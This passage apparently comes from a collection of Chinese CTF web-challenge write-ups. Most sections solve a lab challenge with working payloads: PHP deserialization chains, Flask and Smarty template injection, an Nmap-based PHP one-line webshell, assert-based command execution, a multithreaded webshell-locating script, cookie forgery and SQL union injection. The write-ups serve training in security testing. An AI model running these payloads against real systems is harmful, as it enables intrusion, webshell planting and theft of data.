$outer->source->str = new Test();
$outer->source->str->p = new Modifier();
// 生成Payload
echo urlencode(serialize($outer));
?>

四、Payload 怎么来的?
-
序列化:
serialize($outer)把对象变成字符串 -
URL 编码:
urlencode()处理特殊字符,适配浏览器传参
五、最终可用 Payload
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D
六、拿 flag 步骤
-
拼接靶机地址访问
-
页面得到base64 字符串

-
解码 base64 → 拿到 flag

【MRCTF2020】PYWebsite
一、题目基础信息
-
题目:
[MRCTF2020]PYWebsite -
考点:前端 MD5 验证绕过、
X-Forwarded-For(XFF)IP 伪造 -
核心目标:绕过前端验证码验证,伪造购买者 IP 获取 flag
二、解题步骤
步骤 1:前端验证码绕过
访问靶机页面,点击BUY IT NOW进入验证页:

-
查看源码,发现前端验证逻辑:
function validate(){ var code = document.getElementById("vcode").value; if (code != ""){ if(hex_md5(code) == "0cd4da07c0b280829dc3ea458d655c"){ // 跳转到flag.php } } }
-
绕过方式:找到 MD5 值为
0cd4da07c0b280829dc3ea458d655c的明文(实际解题中直接使用验证逻辑跳转,无需破解,或直接构造跳转请求) -
验证通过后,跳转到
flag.php页面,但提示 IP 非购买者,无法直接查看 flag
步骤 2:X-Forwarded-For IP 伪造
-
页面提示:
我已经把购买者的IP保存了,显然你没有购买,且说明除了购买者和我自己,没有人可以看到flag -
关键思路:服务器通过
X-Forwarded-For请求头判断客户端 IP,我们可以伪造为服务器自身 IP(127.0.0.1) -
操作方式:
-
使用 Burp Suite 拦截对
flag.php的请求 -
添加请求头:
X-Forwarded-For: 127.0.0.1 -
放行请求,页面直接输出 flag

-
三、关键说明
-
前端验证绕过:前端 MD5 验证仅作表面校验,真正的 flag 保护在后端 IP 验证,因此无需破解验证码,直接通过跳转逻辑访问
flag.php即可 -
X-Forwarded-For原理:服务器通过该请求头获取客户端真实 IP,伪造为127.0.0.1(服务器自身 IP),即可绕过 IP 限制 -
完整请求示例
GET /flag.php HTTP/1.1 Host: 靶机地址 X-Forwarded-For: 127.0.0.1 Cookie: ...
本题核心操作:在请求flag.php时添加X-Forwarded-For: 127.0.0.1请求头,即可直接获取 flag。
[安洵杯 2019]easy_web
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | 安洵杯 2019 / BUUCTF Web 题 |
| 核心考点 | MD5 强比较绕过、命令执行过滤绕过、参数传递逻辑 |
| 目标 | 绕过双重验证,执行系统命令读取 flag 文件 |
| 关键请求 | POST /index.php,GET 参数img+cmd,POST 参数a+b |

二、核心逻辑与漏洞点拆解
1. 后端流程还原
结合请求 / 响应,可还原题目核心逻辑:
-
第一层验证:MD5 强比较
if ($_POST['a'] != $_POST['b'] && md5($_POST['a']) == md5($_POST['b'])) { // 验证通过,进入下一步 include($_GET['img']); system($_GET['cmd']); } else { die("验证失败"); }-
要求:
$a和$b内容不同,但 MD5 值相同(强比较绕过)。 -
作用:作为权限校验,只有绕过后才能执行后续命令。
-
-
第二层:命令执行
验证通过后,直接将
$_GET['cmd']传入system()执行,读取/flag文件。
2. 关键绕过点分析
(1)MD5 强比较绕过
PHP 中md5()函数处理字符串时,会将以0e开头的数值字符串解析为科学计数法,且0e123和0e456的 MD5 值均为0,会被视为相等。题目中使用了经典的碰撞对:
-
a=QNKCDZO,b=240610708(两者 MD5 值均为0e830400451993494058024219903391)。
(2)命令执行绕过
-
直接使用
sort /flag命令读取文件:sort会按行排序输出文件内容,不受cat/more等过滤影响。 -
无需额外绕过,直接执行即可获取 flag 内容。
三、完整 Payload 构造
1. 请求结构
| 请求部分 | 参数 | 说明 |
|---|---|---|
| GET URL | ?img=TXpVek5UTTFNbVUzTURabE5qY&cmd=sort%20/flag | img参数为题目过滤要求(可使用无意义值,如示例中的乱码),cmd为执行命令 |
| POST 数据 | a=QNKCDZO&b=240610708 | MD5 碰撞对,绕过强比较验证 |
2. 实际请求示例
POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qY&cmd=sort%20/flag HTTP/1.1 Host: fd8f1a07-bcb5-4177-b6f2-f4590c6180fd.node5.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 393 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2& b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
四、响应结果与 flag 提取
请求提交后,后端执行流程:
-
a和b通过 MD5 强比较验证; -
执行
sort /flag命令,读取/flag文件并按行输出; -
响应中直接返回文件内容,包含 flag:
flag{63bbab87-a387-4a2b-a84e-2f29726863c1}

[WesternCTF2018] shrine
一、题目信息
-
题目来源:WesternCTF2018
-
核心考点:Flask SSTI(服务端模板注入)、黑名单过滤绕过、Flask 应用配置读取
-
题目特点:首页直接返回完整源码,flag 存储在 Flask 应用的
config字典中,通过两层过滤限制直接读取
二、源码审计

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') # flag核心位置:app.config['FLAG']
# 显示源码
@app.route('/')
def index():
return open(__file__).read()
# SSTI注入入口
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
# 过滤1:将所有括号()替换为空,禁止函数调用
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
# 过滤2:黑名单禁止直接使用config和self关键字
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
关键源码解读
-
flag 位置:
app.config['FLAG'],flag 从环境变量中取出,存入 Flask 应用的全局配置字典 -
注入入口:
/shrine/<path:shrine>路由,用户输入的shrine参数会被直接渲染为 Jinja2 模板 -
两层过滤机制
:
-
括号过滤:所有
(和)会被替换为空,禁止任何带括号的函数 / 方法调用 -
关键字过滤:将
config和self设为None,禁止直接访问这两个核心对象
-
三、过滤绕过思路
1. 可用的全局内置函数(无括号、不在黑名单)
Flask 模板中默认注入了多个全局函数,其中 url_for和get_flashed_messages() 未被过滤,且可以通过它们的__globals__属性访问全局命名空间。
2. 核心利用链
用户输入 → 模板渲染 → 调用url_for → 访问url_for.__globals__ → 获取current_app → 访问current_app.config → 读取FLAG
-
url_for.__globals__:包含当前模块的所有全局变量 -
current_app:Flask 的全局变量,指向当前运行的应用实例 -
current_app.config:应用的全局配置字典,包含我们需要的FLAG
四、解题流程
步骤 1:验证 SSTI 漏洞存在
访问以下 URL,验证模板注入生效:
http://你的靶机地址/shrine/{{7*7}}
-
正常响应:页面返回
49,说明 Jinja2 模板成功执行了算术运算,SSTI 漏洞存在

步骤 2:获取全局命名空间
通过url_for.__globals__查看当前模块的所有全局变量,确认current_app存在:
http://你的靶机地址/shrine/{{url_for.__globals__}}
-
响应中会显示大量全局变量,其中包含
'current_app': <Flask 'app'>,说明可以通过它访问应用实例

步骤 3:读取应用配置,获取 flag
通过current_app.config读取完整配置字典,其中包含FLAG键:
http://你的靶机地址/shrine/{{url_for.__globals__['current_app'].config}}
-
响应中会显示完整的配置信息,直接找到
'FLAG': 'flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}'即可
五、最终可用 Payload
/shrine/{{url_for.__globals__['current_app'].config}}
[安洵杯 2019] easy_serialize_php
一、题目信息
-
题目来源:安洵杯 2019
-
核心考点:PHP 反序列化字符串逃逸、
extract变量覆盖、任意文件读取、关键词过滤绕过 -
题目难度:中等(坑点极多,新手容易卡壳)
-
最终 flag:
flag{02fa16d8-4273-4ccb-890e-718e43ff2578}
二、核心源码审计

<?php
$function = @$_GET['f'];
// 核心过滤函数:将关键词全局替换为空,产生字符串逃逸的根源
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); // 变量覆盖:POST参数直接覆盖SESSION
// 序列化后过滤
$serialize_info = filter(serialize($_SESSION));
// 利用点:反序列化后读取文件
if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
关键代码解读
-
filter函数:将php、flag等关键词全局替换为空,是产生序列化字符串逃逸的核心 -
extract($_POST):POST 提交的键值对会直接覆盖已有的$_SESSION变量 -
show_image路由:反序列化经过过滤的 SESSION 数据,然后读取img键对应的 base64 编码文件内容 -
flag 位置:存储在
auto_append_file指定的 PHP 文件中,直接访问会被执行,看不到源代码
三、漏洞原理:PHP 序列化字符串逃逸
1. 序列化格式
PHP 序列化字符串的格式为:类型:长度:值,反序列化时严格按照长度读取内容。
a:2:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";}
2. 逃逸原理
当序列化后的字符串经过filter函数处理后,关键词被替换为空,导致字符串实际长度变短,但反序列化时仍会按照原长度读取,从而产生字符串逃逸,可以注入新的键值对。
3. 本题的逃逸计算
-
我们构造键名
flagphp,原长度为 7 个字符 -
经过
filter过滤后,flag(4 个字符)和php(3 个字符)被替换为空,键名变成空字符串,长度为 0 -
多出来的7 个字符空间正好可以用来注入新的键值对
-
用
s:6:"mochu7";作为填充,正好占 7 个字符,完美匹配逃逸空间
四、完整解题流程
步骤 1:获取 flag 文件名
访问/index.php?f=phpinfo,在 phpinfo 页面中找到auto_append_file配置项,其值就是 flag 的文件名。
-
常见文件名:
d0g3_f1ag.php、d0g3_fllllllag.php(不同靶机实例可能不同)
步骤 2:将 flag 文件名进行 base64 编码
# 对应d0g3_fllllllag.php
base64_encode("d0g3_fllllllag.php") = L2QwZzNfZmxsbGxsbGFnLnBocA==
# 对应d0g3_f1ag.php
base64_encode("d0g3_f1ag.php") = ZDBnM19mMWFnLnBocA==
步骤 3:构造最终 Payload
_SESSION[flagphp]=s:6:"mochu7";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFnLnBocA==";
步骤 4:发送请求获取 flag
-
打开 HackBar,Load URL 填:
http://你的靶机地址/index.php?f=show_image
-
勾选
Post data,粘贴上面的 Payload -
点击
Execute发送请求 -
看到 flag

[BSidesCF 2019] Kookie
一、题目信息
-
题目来源:BSidesCF 2019
-
核心考点:Cookie 身份验证绕过、客户端身份伪造、未授权访问
-
题目难度:入门级(CTF Web 入门必做题)
-
题目特点:服务器完全信任客户端提交的 Cookie,无任何后端身份验证,只需修改 Cookie 即可直接以管理员身份登录
二、页面信息与漏洞分析
1. 页面关键提示
-
明确提示:
Login as admin! -
存在两个普通账户:
cookie和monster -
只有一个登录表单,需要输入用户名和密码,但密码完全不需要

2. 核心漏洞原理
这道题是最经典的客户端身份验证漏洞:
-
服务器通过 Cookie 中的
username字段来判断当前登录用户的身份 -
没有对 Cookie 的真实性进行任何后端验证(如签名、加密、数据库校验)
-
攻击者可以直接修改客户端 Cookie 中的
username值为admin,欺骗服务器认为自己是管理员
三、完整解题流程
Burp Suite 抓包修改

-
打开 Burp Suite,开启代理,浏览器设置代理指向 Burp
-
刷新靶机页面,Burp 会捕获到请求
-
在请求头中找到
Cookie
字段,添加:
username=admin;
Cookie: username=admin; 其他原有Cookie

-
点击「Forward」发送请求
步骤 4:刷新页面获取 flag
修改完 Cookie 后,刷新页面,会直接显示登录成功的提示,flag 就在页面上:
Congratulations! You're logged in as admin! Your flag is: flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

[网鼎杯 2020 朱雀组] Nmap 解题笔记
-
题目来源:网鼎杯 2020 朱雀组
-
核心考点:Nmap 命令注入、
-oG文件写入、PHP 短标签 / 一句话木马绕过、WAF 过滤、Nmap 输出转义 / 换行问题 -
题目难度:中等偏上(坑点极多,新手极易卡壳)
-
关键提示:页面源码注释直接给出
<!-- flag is in /flag -->,目标明确 
二、核心漏洞原理
1. 后端逻辑
<?php
$host = $_POST['host'];
// 仅对输入做了简单转义,未过滤Nmap命令行选项
$host = escapeshellarg($host);
// 执行Nmap扫描,使用-oX默认输出XML
system("nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/$rand.xml " . $host);
?>
2. 核心漏洞点
-
Nmap 命令注入:Nmap 支持
-oG(Grepable 输出)选项,可将扫描结果写入任意文件 -
文件写入 + 代码执行:写入
.phtml后缀的文件,可被 PHP 解析器执行 -
WAF 过滤:对
<?php关键词有拦截,需用短标签或一句话木马绕过 -
转义 / 换行问题:Nmap 的
-oG输出会自动添加反斜杠转义,且长命令会自动换行,破坏单行代码语法
三、完整解题流程
步骤 1:构造一句话木马 Payload
你最终成功使用的 Payload:
host=' <?= @eval($_POST[7]); ?> -oG mc.phtml '
-
前后单引号:闭合
escapeshellarg添加的单引号,突破命令执行限制 -
<?=:PHP 短标签,绕过 WAF 对<?php的拦截 -
@eval($_POST[7]);:一句话木马,抑制错误输出,即使有多余字符也能执行 -
-oG mc.phtml:将扫描结果写入mc.phtml文件,后缀为.phtml可被 PHP 解析
步骤 2:提交 Payload,写入 webshell
-
回到扫描页面,在输入框中粘贴上面的 Payload
-
点击「Scan」按钮,等待扫描完成(会显示
Host maybe down,属于正常现象) -
此时
mc.phtml已被成功写入服务器根目录
步骤 3:连接 webshell,执行命令获取 flag
-
打开 HackBar,Load URL 填:
http://你的靶机地址/mc.phtml
-
勾选
Post data
,输入:
7=system('cat /flag'); -
点击
Execute
发送请求,页面会直接显示完整的 flag:
flag{248edd2f-3c09-4d6b-b2a2-e4e336eba0a2}

[NPUCTF2020] ReadlezPHP 解题笔记
一、题目信息
-
题目来源:NPUCTF 2020
-
核心考点:PHP 反序列化漏洞、变量函数调用、assert 注入、phpinfo 敏感信息泄露
-
题目难度:中等
-
关键提示:flag 不在文件系统中,而是隐藏在
phpinfo()的环境变量里,需要通过反序列化调用 phpinfo 获取
二、核心源码审计
找到这个可以文件,进行访问

通过time.php?source获取到完整源码:
<?php
#error_reporting(0);
class HelloPHP
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPHP;
if(isset($_GET['source'])){
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
?>
关键代码解读
-
unserialize($_GET["data"]):直接反序列化用户可控的data参数,且反序列化过程不会调用__construct()构造方法,可以直接控制$a和$b的值 -
__destruct()析构方法:在对象销毁时执行,核心逻辑为echo $b($a);,即把$b当作函数名,$a当作参数,执行变量函数调用 -
$_GET['source']:查看源码的入口,确认了漏洞点的存在
三、漏洞原理
1. 变量函数调用执行任意代码
PHP 中支持$函数名($参数)形式的变量函数调用,本题中:
-
我们可以通过反序列化控制
$b为任意 PHP 函数名 -
控制
$a为该函数的参数,实现任意代码执行
2. 为什么用assert而不是eval?
-
eval()不能以变量函数的形式调用(即$b='eval'; $b($a);会报错) -
assert()可以接收字符串形式的 PHP 代码作为参数,会自动解析并执行(如assert("phpinfo()");会直接执行phpinfo()) -
因此
assert是本题唯一可用的执行任意代码的函数
3. flag 的隐藏位置
phpinfo()页面会泄露服务器的环境变量,题目中的 flag 被直接写入了环境变量中,通过调用phpinfo()即可直接看到 flag
四、完整解题流程
步骤 1:获取源码
访问time.php?source,查看完整源码,确认反序列化和变量函数调用漏洞。

步骤 2:构造反序列化 Payload
根据源码,我们需要构造一个HelloPHP对象,其中:
-
$a的值为"phpinfo()"(要执行的代码) -
$b的值为"assert"(执行函数)
序列化后的 Payload:
O:8:"HelloPHP":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
步骤 3:发送请求,触发漏洞
构造 URL:
http://你的靶机地址/time.php?data=O:8:"HelloPHP":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
访问该 URL,会直接触发assert("phpinfo()");,执行phpinfo()。
步骤 4:在 phpinfo 中找到 flag
在phpinfo()页面中,找到Environment Variables部分,其中FLAG环境变量的值就是题目 flag:
flag{13e240b1-4438-4e88-9e34-169df2026184}

[CISCN2019 华东南赛区] Web11 解题笔记
一、题目信息
-
题目来源:CISCN2019 华东南赛区
-
核心考点:Smarty 模板注入(SSTI)、
X-Forwarded-For(XFF)请求头污染、HTTP 请求头可控输入漏洞 -
题目难度:入门级(经典的 SSTI 入门题,适合学习模板注入的基础利用)
-
关键特征:页面底部显示
Build With Smarty!,明确使用 Smarty 模板引擎;IP 地址回显功能直接受X-Forwarded-For请求头控制,且未做任何过滤,存在直接注入点。
二、核心漏洞原理
1. 什么是 Smarty 模板引擎?
Smarty 是 PHP 生态中最流行的模板引擎之一,使用{{ ... }}作为模板标签,支持变量渲染、逻辑控制和函数调用。当用户可控的输入被直接传递给 Smarty 模板引擎解析时,就会产生服务端模板注入(SSTI)漏洞,攻击者可以构造恶意模板语法执行任意 PHP 代码或系统命令。
2. 为什么X-Forwarded-For头会导致注入?
X-Forwarded-For是 HTTP 扩展请求头,用于标识请求的真实客户端 IP。这道题的后端逻辑是:
-
读取请求头中的
X-Forwarded-For值,作为 “当前 IP 地址” -
直接将这个值传递给 Smarty 模板引擎渲染,输出到页面上
-
没有对 XFF 头的值做任何过滤或转义
这就意味着:我们完全控制了传递给模板引擎的输入,可以直接构造恶意模板语法,触发 SSTI 漏洞。
3. Smarty 模板注入的基础语法
| 语法 | 作用 | 示例 |
|---|---|---|
{{1+1}} | 执行 PHP 表达式 | 执行后输出2,验证漏洞是否存在 |
{{system("命令")}} | 调用system()执行系统命令 | {{system("ls")}}执行 ls 命令 |
{{phpinfo()}} | 调用 PHP 内置函数 | 直接输出 phpinfo 页面 |
三、完整解题流程
步骤 1:识别模板引擎与注入点
-
访问靶机页面,底部显示
Build With Smarty!,确认使用 Smarty 模板引擎 -
观察页面的
Current IP回显功能,修改请求头中的X-Forwarded-For值,IP 会跟着变化,说明 XFF 头是可控输入点 
步骤 2:验证 SSTI 漏洞
构造请求头,验证漏洞是否存在:
X-Forwarded-For: {{1+1}}
发送请求后,页面显示的Current IP从真实 IP 变成了2,说明模板引擎成功执行了1+1,漏洞存在。


步骤 3:执行系统命令,读取 flag
直接使用system()函数读取 flag 文件:
X-Forwarded-For: {{system("cat /flag")}}
发送请求后,页面响应可能是空白的,需要按Ctrl+U查看网页源代码,flag 会被直接输出在页面的 HTML 源码中。


四、完整 Payload
1. 漏洞验证 Payload
GET / HTTP/1.1
Host: 你的靶机地址
X-Forwarded-For: {{1+1}}
-
预期结果:页面显示的 IP 变为
2
2. 读取 flag 的最终 Payload
GET / HTTP/1.1
Host: 你的靶机地址
X-Forwarded-For: {{system("cat /flag")}}
-
预期结果:按
Ctrl+U查看源码,可直接看到flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
[强网杯 2019] 高明的黑客
一、题目信息
-
题目来源:强网杯 2019
-
核心考点:网站源码泄露、PHP 一句话木马爆破、
assert注入漏洞、多文件暴力枚举 -
题目难度:中等(难点在于 3000 + 文件的木马定位,以及变形 assert 注入的利用)
-
关键提示:页面直接给出源码压缩包
www.tar.gz,所有 PHP 文件中藏有一句话木马,可通过 GET 参数触发命令执行。 
二、核心漏洞原理
1. 源码泄露与木马藏匿
题目直接公开了网站源码,解压后包含 3000 + 个 PHP 文件,其中部分文件是变形的 assert 注入木马,典型代码如下:
assert($_GET['xd0UXc39w'] ?? '');
-
assert():PHP 中可将字符串作为代码执行的函数,功能类似eval(),但可以作为变量函数调用,部分场景下不会被disable_functions完全禁用 -
变形特征:参数名、变量名均为无意义的随机字符串,无明显的
eval/system关键词,难以被静态扫描或 WAF 识别 -
空值合并
?? '':防止参数未传入时报错,保证木马正常运行
2. assert 注入漏洞
木马的核心利用逻辑:
-
接收 GET 参数传入的字符串
-
直接将字符串作为 PHP 代码交给
assert()执行 -
传入系统命令字符串(如
cat /flag),即可实现任意命令执行
三、完整解题流程
步骤 1:获取并解压源码
-
访问靶机页面,下载
www.tar.gz源码压缩包
-
解压后得到包含 3000 + 个 PHP 文件的源码目录

步骤 2:分析木马特征
从源码中可识别出木马的关键特征:
-
使用
assert()执行代码 -
输入来自
$_GET/$_POST超全局变量 -
参数名是无意义的随机字符串
-
存在错误抑制语法(
?? ''、@)
步骤 3:编写 Python 脚本爆破木马文件与参数
由于文件数量过多,手动遍历效率极低,需编写多线程脚本,遍历所有 PHP 文件,测试每个文件的 GET 参数,验证是否存在注入:
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
步骤 4:执行脚本,定位可利用文件
脚本运行后,会找到目标木马:
-
木马文件:
xk0SzyKwfwz.php -
可利用参数:
Efa5BVG
步骤 5:构造 Payload,执行命令获取 flag
构造 URL,执行cat /flag命令:
http://你的靶机地址/xk0SzyKwfwz.php?Efa5BVG=cat /flag
访问该 URL,即可直接输出 flag 内容。

[ASIS 2019] Unicorn shop
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | ASIS 2019 Web 题 |
| 核心考点 | Unicode 数字字符绕过(单字符输入限制 + 后端数值校验) |
| 题目目标 | 购买价格为 1337.0 的商品 ultra unicorn,获取 flag |
| 关键限制 | 购买表单的 Price 输入框仅允许输入 1 个字符,无法直接输入多位数金额 |

二、题目环境与初始信息拆解
1. 页面功能与商品列表
打开靶机页面后,可看到一个独角兽商店,共 4 个商品,核心信息如下:
| Item ID | Price | 商品名称 |
|---|---|---|
| 1 | 2.0 | black and white unicorn |
| 2 | 5.0 | unicorn family |
| 3 | 8.0 | warrior unicorn |
| 4 | 1337.0 | ultra unicorn(目标商品,购买后出 flag) |
页面下方的Purchase Unicorn表单,用于提交购买请求:
-
输入框 1:
Item ID(选择商品) -
输入框 2:
Price(支付金额) -
按钮:
Purchase!(提交请求)
2. 源码审计:干扰项与关键提示
查看页面源码,有两个容易踩坑的点:
<!-- We still have some surprise for admin.password-->
-
很多人会被这段注释误导,去访问
admin.password路径,但返回内容为空,这是纯干扰项,无任何实际作用。 -
源码无其他隐藏后门或提示,核心逻辑在表单提交的后端校验中。
三、踩坑复盘:常见错误与失败原因
坑 1:直接修改前端限制,提交1337
很多人第一反应是:“既然是前端限制,直接改 HTML 的maxlength或者 JS 不就行了?”
-
操作:把
Price输入框的maxlength=1改成maxlength=10,输入1337提交 -
结果:请求被拦截,提示操作失败
-
原因:前端限制只是第一层校验,后端也有严格的数值校验,且可能存在 WAF 或请求长度过滤,修改前端限制无法绕过后端逻辑。
坑 2:修改商品 ID / 价格,尝试 “作弊”
-
操作 1:输入
Item ID=4
,
Price=1
提交
-
结果:提示
Wrong commodity!(商品错误) -
原因:后端会校验
Price是否匹配商品价格,1 < 1337,金额不足支付目标商品。
-
-
操作 2:输入
Item ID=1
,
Price=2
提交
-
结果:提示
Wrong commodity! -
原因:商品 1 的价格是
2.0,后端校验时,字符串"2"与"2.0"不匹配,或强类型校验不通过。
-
坑 3:尝试特殊字符 / 科学计数法绕过
-
操作:输入
1e4(科学计数法,数值 10000),但长度为 3,被前端拦截 -
操作:输入
0x1(十六进制),长度为 2,被前端拦截 -
结论:这类方法都无法满足 “1 个字符” 的限制,彻底失效。
四、核心原理深挖:为什么 Unicode 字符能绕过?
1. 前端限制的本质
前端的Only one char(?) allowed!限制,是基于字符长度的校验,逻辑类似:
document.getElementById('price').addEventListener('input', function(e) {
if(this.value.length > 1) {
alert("Only one char(?) allowed!");
this.value = this.value.slice(0,1);
}
});
-
只要输入内容的字符数为 1,就能绕过前端限制,无论这个字符是普通 ASCII 字符还是 Unicode 字符。
2. 后端校验的核心逻辑(PHP 环境)
题目后端使用 PHP 处理请求,核心校验代码类似:
<?php
$goods = [
1 => 2.0,
2 => 5.0,
3 => 8.0,
4 => 1337.0
];
$id = $_POST['id'];
$price = $_POST['price'];
// 后端校验1:商品ID是否存在
if(!isset($goods[$id])) {
die("操作失败。");
}
// 后端校验2:价格是否足够支付(关键!)
$goods_price = $goods[$id];
if(is_numeric($price) && floatval($price) >= $goods_price) {
echo "操作成功!flag{xxxx}";
} else {
echo "Wrong commodity!";
}
?>
-
关键函数:
is_numeric($price),该函数支持解析Unicode 数字字符,只要字符本身代表数值,就会返回true。 -
例如:
U+1085F这个字符,is_numeric("\u{1085F}")返回true,floatval("\u{1085F}")会将其解析为数值10000。
3. 选择U+1085F的原因
| 项目 | 详情 |
|---|---|
| 字符 | 𐡟(Imperial Aramaic Number Ten Thousand Sign) |
| Unicode 编码 | U+1085F |
| 数值含义 | 代表古阿拉姆语数字 “一万”,数值为10000 |
| 长度 | 1 个字符,满足前端限制 |
| 解析结果 | PHP 中会被解析为10000,大于商品价格1337,满足支付条件 |
五、一步一步复现解题
步骤 1:选择合适的 Unicode 数字字符
除了 wp 中使用的U+1085F,还有多个可用的 Unicode 数字字符,优先选择数值≥1337 的:
| 字符 | Unicode 编码 | 数值 | 说明 |
|---|---|---|---|
| 𐡟 | U+1085F | 10000 | 题目 wp 中使用的字符,兼容性最好 |
| Ⅴ | U+2164 | 5 | 罗马数字 5,数值不足,仅举例 |
| Ⅹ | U+2169 | 10 | 罗马数字 10,数值不足 |
| Ⅽ | U+216D | 100 | 罗马数字 100,数值不足 |
| Ⅿ | U+216F | 1000 | 罗马数字 1000,数值不足 |
| ↀ | U+2180 | 1000 | 古罗马数字,数值不足 |
| ↁ | U+2181 | 5000 | 古罗马数字,数值 5000,≥1337,可用 |
步骤 2:构造购买请求
-
打开靶机页面,在
Purchase Unicorn
表单中输入:
-
Item ID:4(目标商品 ID) -
Price:粘贴 Unicode 字符𐡟(U+1085F)
-
-
点击
Purchase!提交请求
步骤 3:获取 flag
请求提交后,页面会提示操作成功,并直接返回 flag:

flag{c72f35e6-a1e6-4430-bb66-67a5043eaf2f}

[SWPU2019]Web1
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | SWPU 2019 |
| 题目类型 | SQL 注入 |
| 核心考点 | 空格过滤绕过、敏感词过滤绕过、联合注入、报错注入辅助 |
| 目标 | 注入后台数据库,获取 flag |
二、环境与功能分析
-
页面功能
靶机是一个广告信息管理系统,核心功能如下:
-
登录 / 注册:用户需注册账号登录,获得普通用户权限。
-
广告申请:提交广告(广告名、广告内容),状态为 “待管理确认”。
-
广告详情:点击广告的「广告详情」按钮,跳转到
detail.php?id=广告ID查看详情。
2. 关键注入点定位
查看页面源码,广告详情的链接为:
<a href="detail.php?id=1">广告详情</a>
结合提交广告后点击详情出现的 SQL 报错信息,可确定注入点为detail.php的id参数。
三、完整解题步骤
先注册

随便注册个账号


查看源码

所以上传的广告应该是注入点

报错了,是单引号闭合

进行注入,#不行


但是%23可以

......
找到注入点
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

